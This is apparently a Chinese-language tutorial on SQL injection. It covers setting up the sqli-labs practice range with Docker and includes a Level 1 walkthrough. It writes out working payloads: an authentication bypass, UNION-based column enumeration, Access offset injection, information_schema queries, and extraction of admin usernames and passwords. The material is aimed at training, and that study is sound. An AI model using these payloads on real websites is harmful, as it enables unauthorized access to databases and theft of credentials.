什么是sql注入?

脚本代码在实现代码与数据进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时,其中攻击者能通过控制参数传递的自定义值来实现控制SQL语句,从而执行恶意的SQL语句,倘若管理员代码不做任何过滤的话,就可以实现查询到管理员的账号密码,进而实现越权攻击

SQL注入的产生原理

两个基本条件:可控变量 特定函数

常见Payload示例如下

后端验证代码:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

注入语句:

' OR '1' = '1

拼接后的查询语句:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

这里的'1'='1'永真,导致忽略了原始的用户名和密码检查,使得返回数据库中所有用户的用户信息

SQL注入的流程

1.猜测数据库类型

2.根据类型选择注入思路

sqli-lab靶场搭建

sqli-lab是一个很好的sql注入的练习平台,大家仅仅靠学习相关的知识点是远远不够的,肯定要通过相关的练习(提倡手工注入,拒绝当脚本小子),sqli-lab靶场涉及了很多注入手法,包括联合注入、堆叠注入、报错注入、盲注等等,通过大量的练习,相信我们都能成为大牛子!

我是在服务器端搭建的,使用的是docker,因为我本机的环境太乱了,mysql根本启动不了🤡🤡🤡

依次运行下面的命令:

docker search sqli-labs
#选取star最多的拉取,我这里最多的是acgpiano/sqli-labs
docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 81:80 --rm acgpiano/sqli-labs

之后在自己的浏览器访问服务器公网IP:81即可,如下图所示

9a1b3ff84117370106edcfe794d44568

点击Setup/reset Database for labs,重新加载数据库,如果成功则表示安装成功,如果失败,可能就是你服务器的问题了,然后我们就可以愉快的刷题了

ACCESS数据库

Access数据库的特点是只有一个数据库,没有数据库用户,一个数据库下很多不同的表,表中有不同的列(字段),字段下面有对应的值

Access数据库独立存在,数据库由上至下的等级分别为:数据库名>表名>列名>数据

普通常规注入

下面逐步进行注入

首先第一步猜解字段数,首先使用order by函数进行猜解

?id = 1513 order by 22 页面正常
?id = 1513 order by 23 页面异常

表明我们查询到的字段有22个,我们进行组合(已知表名为admin)

?id = 1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

1645092956142-0111dfb6-4e6d-47ee-8dcb-47a7dbb1ef16.png

最后猜解对应的数据(已知为admin和password)

?id = 1513 UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

1645092994198-858d6a34-14be-42eb-9e0f-47bb81e92e81.png

偏移注入

由于Access是无法知道表名和列名的,所以要通过爆破去爆破出表名和列名,但是如果自定义的字典中没有对应的呢?这个时候就要用到偏移注入了

用*替换一个字段
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
逐渐减少字段,直到正确,可以发现减到16的时候正常,说明*代表6
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)
这样注入就会随机爆出字段(源代码)

以上是一级偏移,当要进行二级偏移时,则再向前移动6位即可,如下所示

?id=1513 UNION SELECT 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

进行偏移注入的时候无需知道表名和列名,就可以得到相关的数据(直接爆出源代码)

9a8bd76dbc312b0f6ae100083286d2ac

MYSQL数据库

mysql数据库是我们在进行数据库相关注入时遇到的最为常见的数据库之一,sqli-lab上很多数据库都是用mysql数据库为基准的,和Access数据库不同的是,mysql数据库是由不同的用户来进行管理的,即A用户管理A数据库,B用户管理B数据库,A用户没办法看见B用户的数据库,B用户也没办法看见A用户的数据库,但是Mysql中内置了root用户以方便管理,所以在数据库是mysql的情况下,我们要先看看当前数据库的连接用户是不是root,如果是root,就直接开始查自己想要的数据库,如果不是,那就跨库查询,最后查表名的时候一定要带上数据库名称,不然容易查不到

mysql5.0以上的版本,数据库自带数据库名information_schema,information_schema是个好东西,存储了数据库下的数据库名、表名、列名信息

information_schema.schematas:数据库信息
information_schema.tables:记录表名信息
information_schema.columns:记录列名信息

所以,当数据库类型为mysql的时候,我们率先要看看数据库的版本是不是大于5.0的,如果是,就可以用information_schema,如果不是,那就只能靠字典编写脚本进行暴力破解

数据库版本:version()
数据库用户:看是否需要跨库注入 user()
当前操作系统,看是否支持大小写或文件路径选择:@@version_compile_os
数据库名字:database()

以下是相关流程

#爆出相关信息,数据库名称、操作系统
http://127.0.0.1:8081/web/mysql/news.php?id=2 UNION ALL SELECT database(),@@version_compile_os,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
#查询表名
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'
#查询列名
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser' and table_schema='syguestbook'
#获取指定数据
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser

sqli-lab例题

就拿第一关来说,首先打开第一关是下面这种情况

image-20240709202107350

首先这里让我们输入id为参数,那我们就输入一个?id=1看看会给我们返回什么

image-20240709202418639

很好,接下来我们就要判断是否存在注入了,首先输入?id=1',看看是否会报错

image-20240709202716109

很显然,报错了,那我们就继续输入?id=1'--+,看一看是否会正常,如果正常了,则代表存在注入点,且为字符型注入(—+在数据库中代表注释符)

image-20240709202913982

从这里,我们可以发现属于字符型注入,接下来我们用order by看看存在几个字段

image-20240709203131333

image-20240709203146964

所以字段数为3,接下来我们用联合注入进行爆出相关的数据库信息以及数据库版本?id=-1' union select 1,version(),database()--+

image-20240709203425482

大于5.0版本,可以使用information_schema,且数据库名称为security,所以接下来我们使用注入语句进行注入

?id=-1' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

image-20240709204128138

我们所需要的表名为users,所以使用users进行查询

?id=-1' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' --+

image-20240709204258190

我们的敏感信息已经出现了,我们进行最后一步操作,爆出相关信息即可

?id=-1' UNION SELECT 1,2,group_concat(id,username,password) from users --+

image-20240709204643937

成功写出这道题